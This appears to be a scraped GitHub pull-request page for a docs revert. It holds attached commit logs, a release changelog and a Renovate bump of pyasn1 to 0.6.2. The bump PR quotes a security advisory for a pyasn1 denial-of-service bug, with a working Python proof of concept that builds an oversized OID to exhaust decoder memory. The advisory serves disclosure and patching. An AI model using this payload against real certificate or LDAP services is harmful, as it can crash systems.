Revert "Updating docs for 0.18.2"#2407
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dhermes merged 1 commit intogoogleapis:gh-pagesfrom Sep 23, 2016
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This reverts commit 78152d9.
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I'm going to merge straight-away (Travis doesn't run on PRs to gh-pages anyhow). This is just a straight up revert commit created by |
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* Tables Notebooks [(#2090)](GoogleCloudPlatform/python-docs-samples#2090) * initial commit * update census * update notebooks * remove the reference to a bug [(#2100)](GoogleCloudPlatform/python-docs-samples#2100) as the bug has been fixed in the public client lib * delete this file. [(#2102)](GoogleCloudPlatform/python-docs-samples#2102) * rename file name [(#2103)](GoogleCloudPlatform/python-docs-samples#2103) * trying to fix images [(#2101)](GoogleCloudPlatform/python-docs-samples#2101) * remove typo in installation [(#2110)](GoogleCloudPlatform/python-docs-samples#2110) * Rename census_income_prediction.ipynb to getting_started_notebook.ipynb [(#2115)](GoogleCloudPlatform/python-docs-samples#2115) renaming the notebooks as Getting Started (will be in sync with the doc). It will be great if the folder could be renamed too * added back missing file package import [(#2150)](GoogleCloudPlatform/python-docs-samples#2150) * added back missing file import [(#2145)](GoogleCloudPlatform/python-docs-samples#2145) * remove incorrect reference to Iris dataset [(#2203)](GoogleCloudPlatform/python-docs-samples#2203) * conversion to jupyter/colab [(#2340)](GoogleCloudPlatform/python-docs-samples#2340) plus bug fixes * updated for the Jupyter support [(#2337)](GoogleCloudPlatform/python-docs-samples#2337) * updated readme for support Jupyter [(#2336)](GoogleCloudPlatform/python-docs-samples#2336) to approve with the updated notebook supporting jupyter * conversion to jupyer/colab [(#2339)](GoogleCloudPlatform/python-docs-samples#2339) plus bug fixes * conversion of notebook for jupyter/Colab [(#2338)](GoogleCloudPlatform/python-docs-samples#2338) conversion of the notebook to support both Jupyter and Colab + bug fixes * [BLOCKED] AutoML Tables: Docs samples updated to use new (pending) client [(#2276)](GoogleCloudPlatform/python-docs-samples#2276) * AutoML Tables: Docs samples updated to use new (pending) client * Linter warnings * add product recommendation for automl tables notebook [(#2257)](GoogleCloudPlatform/python-docs-samples#2257) * added colab filtering notebook * update to tables client * update readme * tell user to restart kernel for automl * AutoML Tables: Notebook samples updated to use new tables client [(#2424)](GoogleCloudPlatform/python-docs-samples#2424) * fix users bug and emphasize kernal restart [(#2407)](GoogleCloudPlatform/python-docs-samples#2407) * fix problems with automl docs [(#2501)](GoogleCloudPlatform/python-docs-samples#2501) Today when we try to use the function `batch_predict` follow the docs we receive and error saying: `the paramaters should be a pandas.Dataframe` it’s happens because the first parameter of the function `batch_predict` is a pandas.Dataframe. To solve this problem we need to use de named parameters of python. * Fix typo in GCS URI parameter [(#2459)](GoogleCloudPlatform/python-docs-samples#2459) * fix: fix tables notebook links and bugs [(#2601)](GoogleCloudPlatform/python-docs-samples#2601) * feat(tables): update samples to show explainability [(#2523)](GoogleCloudPlatform/python-docs-samples#2523) * show xai * local feature importance * use updated client * use fixed library * use new model * Auto-update dependencies. [(#2005)](GoogleCloudPlatform/python-docs-samples#2005) * Auto-update dependencies. * Revert update of appengine/flexible/datastore. * revert update of appengine/flexible/scipy * revert update of bigquery/bqml * revert update of bigquery/cloud-client * revert update of bigquery/datalab-migration * revert update of bigtable/quickstart * revert update of compute/api * revert update of container_registry/container_analysis * revert update of dataflow/run_template * revert update of datastore/cloud-ndb * revert update of dialogflow/cloud-client * revert update of dlp * revert update of functions/imagemagick * revert update of functions/ocr/app * revert update of healthcare/api-client/fhir * revert update of iam/api-client * revert update of iot/api-client/gcs_file_to_device * revert update of iot/api-client/mqtt_example * revert update of language/automl * revert update of run/image-processing * revert update of vision/automl * revert update testing/requirements.txt * revert update of vision/cloud-client/detect * revert update of vision/cloud-client/product_search * revert update of jobs/v2/api_client * revert update of jobs/v3/api_client * revert update of opencensus * revert update of translate/cloud-client * revert update to speech/cloud-client Co-authored-by: Kurtis Van Gent <[email protected]> Co-authored-by: Doug Mahugh <[email protected]> * Update dependency google-cloud-automl to v0.10.0 [(#3033)](GoogleCloudPlatform/python-docs-samples#3033) Co-authored-by: Bu Sun Kim <[email protected]> Co-authored-by: Leah E. Cole <[email protected]> * Simplify noxfile setup. [(#2806)](GoogleCloudPlatform/python-docs-samples#2806) * chore(deps): update dependency requests to v2.23.0 * Simplify noxfile and add version control. * Configure appengine/standard to only test Python 2.7. * Update Kokokro configs to match noxfile. * Add requirements-test to each folder. * Remove Py2 versions from everything execept appengine/standard. * Remove conftest.py. * Remove appengine/standard/conftest.py * Remove 'no-sucess-flaky-report' from pytest.ini. * Add GAE SDK back to appengine/standard tests. * Fix typo. * Roll pytest to python 2 version. * Add a bunch of testing requirements. * Remove typo. * Add appengine lib directory back in. * Add some additional requirements. * Fix issue with flake8 args. * Even more requirements. * Readd appengine conftest.py. * Add a few more requirements. * Even more Appengine requirements. * Add webtest for appengine/standard/mailgun. * Add some additional requirements. * Add workaround for issue with mailjet-rest. * Add responses for appengine/standard/mailjet. Co-authored-by: Renovate Bot <[email protected]> * chore: some lint fixes [(#3750)](GoogleCloudPlatform/python-docs-samples#3750) * automl: tables code sample clean-up [(#3571)](GoogleCloudPlatform/python-docs-samples#3571) * delete unused tables_dataset samples * delete args code associated with unused automl_tables samples * delete tests associated with unused automl_tables samples * restore get_dataset method/yargs without region tagging * Restore update_dataset methodsa without region tagging Co-authored-by: Takashi Matsuo <[email protected]> Co-authored-by: Leah E. Cole <[email protected]> * add example of creating AutoML Tables client with non-default endpoint ('new' sdk) [(#3929)](GoogleCloudPlatform/python-docs-samples#3929) * add example of creating client with non-default endpoint * more test file cleanup * move connectivity print stmt out of test fn Co-authored-by: Leah E. Cole <[email protected]> Co-authored-by: Torry Yang <[email protected]> * Replace GCLOUD_PROJECT with GOOGLE_CLOUD_PROJECT. [(#4022)](GoogleCloudPlatform/python-docs-samples#4022) * chore(deps): update dependency google-cloud-automl to v1 [(#4127)](GoogleCloudPlatform/python-docs-samples#4127) This PR contains the following updates: | Package | Update | Change | |---|---|---| | [google-cloud-automl](https://togithub.com/googleapis/python-automl) | major | `==0.10.0` -> `==1.0.1` | --- ### Release Notes <details> <summary>googleapis/python-automl</summary> ### [`v1.0.1`](https://togithub.com/googleapis/python-automl/blob/master/CHANGELOG.md#​101-httpswwwgithubcomgoogleapispython-automlcomparev100v101-2020-06-18) [Compare Source](https://togithub.com/googleapis/python-automl/compare/v0.10.0...v1.0.1) </details> --- ### Renovate configuration :date: **Schedule**: At any time (no schedule defined). :vertical_traffic_light: **Automerge**: Disabled by config. Please merge this manually once you are satisfied. :recycle: **Rebasing**: Never, or you tick the rebase/retry checkbox. :no_bell: **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [WhiteSource Renovate](https://renovate.whitesourcesoftware.com). View repository job log [here](https://app.renovatebot.com/dashboard#GoogleCloudPlatform/python-docs-samples). * [tables/automl] fix: update the csv file and the dataset name [(#4188)](GoogleCloudPlatform/python-docs-samples#4188) fixes #4177 fixes #4178 * samples: Automl table batch test [(#4267)](GoogleCloudPlatform/python-docs-samples#4267) * added rtest req.txt * samples: added automl batch predict test * added missing package * Update tables/automl/batch_predict_test.py Co-authored-by: Bu Sun Kim <[email protected]> Co-authored-by: Bu Sun Kim <[email protected]> * samples: fixed wrong format on GCS input Uri [(#4270)](GoogleCloudPlatform/python-docs-samples#4270) ## Description Current predict sample indicates that it can multiples GCS URI inputs but it should be singular. ## Checklist - [X] Please **merge** this PR for me once it is approved. * chore(deps): update dependency pytest to v5.4.3 [(#4279)](GoogleCloudPlatform/python-docs-samples#4279) * chore(deps): update dependency pytest to v5.4.3 * specify pytest for python 2 in appengine Co-authored-by: Leah Cole <[email protected]> * Update automl_tables_predict.py with batch_predict_bq sample [(#4142)](GoogleCloudPlatform/python-docs-samples#4142) Added a new method `batch_predict_bq` demonstrating running batch_prediction using BigQuery. Added notes in comments about asynchronicity for `batch_predict` method. The region `automl_tables_batch_predict_bq` will be used on cloud.google.com (currently both sections for GCS and BigQuery use the same sample code which is incorrect). Fixes #4141 Note: It's a good idea to open an issue first for discussion. - [x] Please **merge** this PR for me once it is approved. * Update dependency pytest to v6 [(#4390)](GoogleCloudPlatform/python-docs-samples#4390) * chore: exclude notebooks * chore: update templates * chore: add codeowners and fix tests * chore: ignore warnings from sphinx * chore: fix tables client * test: fix unit tests Co-authored-by: Torry Yang <[email protected]> Co-authored-by: florencep <[email protected]> Co-authored-by: Mike Burton <[email protected]> Co-authored-by: Lars Wander <[email protected]> Co-authored-by: Michael Hu <[email protected]> Co-authored-by: Michael Hu <[email protected]> Co-authored-by: Alefh Sousa <[email protected]> Co-authored-by: DPEBot <[email protected]> Co-authored-by: Kurtis Van Gent <[email protected]> Co-authored-by: Doug Mahugh <[email protected]> Co-authored-by: WhiteSource Renovate <[email protected]> Co-authored-by: Leah E. Cole <[email protected]> Co-authored-by: Takashi Matsuo <[email protected]> Co-authored-by: Anthony <[email protected]> Co-authored-by: Amy <[email protected]> Co-authored-by: Mike <[email protected]> Co-authored-by: Leah Cole <[email protected]> Co-authored-by: Sergei Dorogin <[email protected]>
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🤖 I have created a release \*beep\* \*boop\* --- ## [2.0.0](https://www.github.com/googleapis/python-automl/compare/v1.0.1...v2.0.0) (2020-09-16) ### ⚠ BREAKING CHANGES * move to microgen (#61) ### Features * move to microgen ([#61](https://www.github.com/googleapis/python-automl/issues/61)) ([009085e](https://www.github.com/googleapis/python-automl/commit/009085e0a82d1d7729349746c2c8954d5d60e0a9)) ### Bug Fixes * **translate:** fix a broken test [([#4360](https://www.github.com/googleapis/python-automl/issues/4360))](https://github.com/GoogleCloudPlatform/python-docs-samples/issues/4360) ([5f7d141](https://www.github.com/googleapis/python-automl/commit/5f7d141afe732acf7458a9ac98618e93baa93d38)), closes [#4353](https://www.github.com/googleapis/python-automl/issues/4353) * `update_column_spec` typo in TablesClient docstring ([#18](https://www.github.com/googleapis/python-automl/issues/18)) ([9feb4cc](https://www.github.com/googleapis/python-automl/commit/9feb4cc5e04a01a4199da43400457cca6c0bfa05)), closes [#17](https://www.github.com/googleapis/python-automl/issues/17) * update retry configs ([#44](https://www.github.com/googleapis/python-automl/issues/44)) ([7df9059](https://www.github.com/googleapis/python-automl/commit/7df905910b86721a6ee3a3b6c916a4f8e27d0aa7)) ### Documentation * add cancel operation sample ([abc5070](https://www.github.com/googleapis/python-automl/commit/abc507005d5255ed5adf2c4b8e0b23042a0bdf47)) * add samples from tables/automl ([#54](https://www.github.com/googleapis/python-automl/issues/54)) ([d225a5f](https://www.github.com/googleapis/python-automl/commit/d225a5f97c2823218b91a79e77d3383132875231)), closes [#2090](https://www.github.com/googleapis/python-automl/issues/2090) [#2100](https://www.github.com/googleapis/python-automl/issues/2100) [#2102](https://www.github.com/googleapis/python-automl/issues/2102) [#2103](https://www.github.com/googleapis/python-automl/issues/2103) [#2101](https://www.github.com/googleapis/python-automl/issues/2101) [#2110](https://www.github.com/googleapis/python-automl/issues/2110) [#2115](https://www.github.com/googleapis/python-automl/issues/2115) [#2150](https://www.github.com/googleapis/python-automl/issues/2150) [#2145](https://www.github.com/googleapis/python-automl/issues/2145) [#2203](https://www.github.com/googleapis/python-automl/issues/2203) [#2340](https://www.github.com/googleapis/python-automl/issues/2340) [#2337](https://www.github.com/googleapis/python-automl/issues/2337) [#2336](https://www.github.com/googleapis/python-automl/issues/2336) [#2339](https://www.github.com/googleapis/python-automl/issues/2339) [#2338](https://www.github.com/googleapis/python-automl/issues/2338) [#2276](https://www.github.com/googleapis/python-automl/issues/2276) [#2257](https://www.github.com/googleapis/python-automl/issues/2257) [#2424](https://www.github.com/googleapis/python-automl/issues/2424) [#2407](https://www.github.com/googleapis/python-automl/issues/2407) [#2501](https://www.github.com/googleapis/python-automl/issues/2501) [#2459](https://www.github.com/googleapis/python-automl/issues/2459) [#2601](https://www.github.com/googleapis/python-automl/issues/2601) [#2523](https://www.github.com/googleapis/python-automl/issues/2523) [#2005](https://www.github.com/googleapis/python-automl/issues/2005) [#3033](https://www.github.com/googleapis/python-automl/issues/3033) [#2806](https://www.github.com/googleapis/python-automl/issues/2806) [#3750](https://www.github.com/googleapis/python-automl/issues/3750) [#3571](https://www.github.com/googleapis/python-automl/issues/3571) [#3929](https://www.github.com/googleapis/python-automl/issues/3929) [#4022](https://www.github.com/googleapis/python-automl/issues/4022) [#4127](https://www.github.com/googleapis/python-automl/issues/4127) --- This PR was generated with [Release Please](https://github.com/googleapis/release-please).
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This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pyasn1](https://redirect.github.com/pyasn1/pyasn1) ([changelog](https://pyasn1.readthedocs.io/en/latest/changelog.html)) | `==0.6.1` → `==0.6.2` |  |  | ### GitHub Vulnerability Alerts #### [CVE-2026-23490](https://redirect.github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq) ### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @​..... @​.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @​..... @​.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @​..... @​..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @​..... @​..... @​. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder. --- ### Release Notes <details> <summary>pyasn1/pyasn1 (pyasn1)</summary> ### [`v0.6.2`](https://redirect.github.com/pyasn1/pyasn1/blob/HEAD/CHANGES.rst#Revision-062-released-16-01-2026) [Compare Source](https://redirect.github.com/pyasn1/pyasn1/compare/v0.6.1...v0.6.2) - CVE-2026-23490 (GHSA-63vm-454h-vhhq): Fixed continuation octet limits in OID/RELATIVE-OID decoder (thanks to tsigouris007) - Added support for Python 3.14 [pr #​97](https://redirect.github.com/pyasn1/pyasn1/pull/97) - Added SECURITY.md policy - Fixed unit tests failing due to missing code [issue #​91](https://redirect.github.com/pyasn1/pyasn1/issues/91) [pr #​92](https://redirect.github.com/pyasn1/pyasn1/pull/92) - Migrated to pyproject.toml packaging [pr #​90](https://redirect.github.com/pyasn1/pyasn1/pull/90) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/googleapis/python-bigquery). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDMuOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
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This reverts commit 78152d9.
Fixes #2406.